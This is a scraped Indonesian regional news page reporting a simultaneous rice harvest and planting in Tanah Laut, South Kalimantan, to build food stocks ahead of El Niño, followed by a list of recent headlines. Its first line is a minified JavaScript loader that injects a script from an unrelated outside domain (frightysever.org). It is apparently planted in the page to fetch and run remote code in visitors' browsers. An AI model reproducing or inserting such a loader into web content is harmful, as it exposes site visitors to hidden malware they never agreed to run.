(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Panen dan Tanam Padi Serentak di Tala, Stok Pangan Kalsel Hadapi El Nino


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 10 lokasi persawahan di Kabupaten Tanah Laut didorongsebagai penyedia cadangan pangan antisipasi dampak El Nino di Kalimantan Selatan (Kalsel).

Meski ada kemarau El Nino, sejumlah kecamatan di Kabupaten Tanah Laut masih bisa melakukan panen dan tanam padi.

Pada bulan September, kata Kepala Dinas Pertanian dan Ketahanan Pangan (DPKP) Kalsel Syamsir Rahman, empat dari 10 kecamatan melakukan penanaman percepatan tanam padi, seperti di Kecamatan Lok Serapang seluas 1.000 hektare.

Baca juga: Dua Terdakwa Kasus Korupsi Lahan Bendungan Tapin Minta Dibebaskan

“Kemudian di Kecamatan Bajuin ada 50 hektare, Kecamatan Kurau 213 hektare dan Kecamatan Batibati 72 hektare. Kita telah melakukan panen dan tanam padi serentak pada 7 September lalu,” ujar Kepala DPKP Kalsel Syamsir Rahman, Senin (11/9/2023) siang, di Banjarbaru.

Syamsir mengatakan, 10 lokasi yang ditanami secara serentak ini merupakan areal persawahan strategis karena masih memiliki suplai air dengan beberapa perlakukan khusus.
“Kita coba penarikan air dengan pompa dari waduk yang disalurkan ke lahan yang masih memiliki sumber air,” jelas Syamsir.

Baca juga: Saidi Mansyur Buka Rakor Pembakal dan BPD Se-Kabupaten Banjar

Selain itu, proses pengolahan lahan juga dilakukan agar padi siap ditanam dengan dibantu beberapa unit traktor roda empat.
“Alat tanam modern juga telah dipersiapkan, plus sarana pengairan termasuk pompa air yang telah siap membasahi lahan,” terangnya.

Di Kalsel, sebutnya dampak dari puncak El Nino diprediksi akan terjadi sampai pada bulan Oktober. Sehingga pemerintah didorong untuk menyediapkan cadangan pangan untuk mengantisipasi kemarau El Nino.
Syamsir menegaskan pihaknya siap membantu para petani untuk menyiapkan bibit, pupuk, herbisida sampai kepada alat mesin pertanian, agar gerakan panen dan tanam serentak ini berjalan dengan baik.

Baca juga: Ombudsman RI Kalsel Tagih Perbaikan Pelayanan PTAM Intan Banjar

“Mengingat lahannya juga sangat subur, masih ada air di bawahnya meskipun di atas kelihatan kering,” sambungnya.
Masih menurut Syamsir dengan bantuan dan tenaga yang telah dikerahkan padi bisa tumbuh dengan subur. Dia pun berharap padi bisa dipanen pada bulan Desember mendatang.
“Karena ini merupakan wujud komitmen kami sebagai salah satu provinsi yang terpilih di Indonesia untuk menjadi penopang pangan nasional khususnya di Kalsel,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

5 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

5 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

6 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

6 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

6 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

6 jam ago

This website uses cookies.